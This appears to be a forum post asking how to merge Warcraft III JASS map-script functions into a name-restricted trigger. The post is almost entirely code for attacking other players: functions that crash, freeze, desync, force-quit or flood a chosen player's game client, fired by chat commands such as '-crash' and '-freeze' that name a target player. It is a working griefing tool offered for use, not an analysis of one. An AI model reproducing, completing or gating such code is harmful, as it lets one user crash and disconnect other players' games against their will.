and to combine these into one
like a test trigger
and need it so only a certain name can use
Code:
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction
function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction
function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction
elseif SubString(s7,0,7)=="-crash " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendCrash(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-exit " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call SendExit(Player(S2I(SubString(s7,6,8))))
elseif SubString(s7,0,8)=="-freeze " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendFreeze(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,8)=="-desync " and S2I(SubString(s7,8,10))<16 and S2I(SubString(s7,3,5))>-1then
call SendDesync(Player(S2I(SubString(s7,8,10))))
elseif SubString(s7,0,7)=="-leave " and S2I(SubString(s7,7,9))<16 and S2I(SubString(s7,3,5))>-1then
call SendLeave(Player(S2I(SubString(s7,7,9))))
elseif SubString(s7,0,6)=="-rest " and S2I(SubString(s7,6,8))<16 and S2I(SubString(s7,3,5))>-1then
call Clusterfuck(Player(S2I(SubString(s7,6,8))))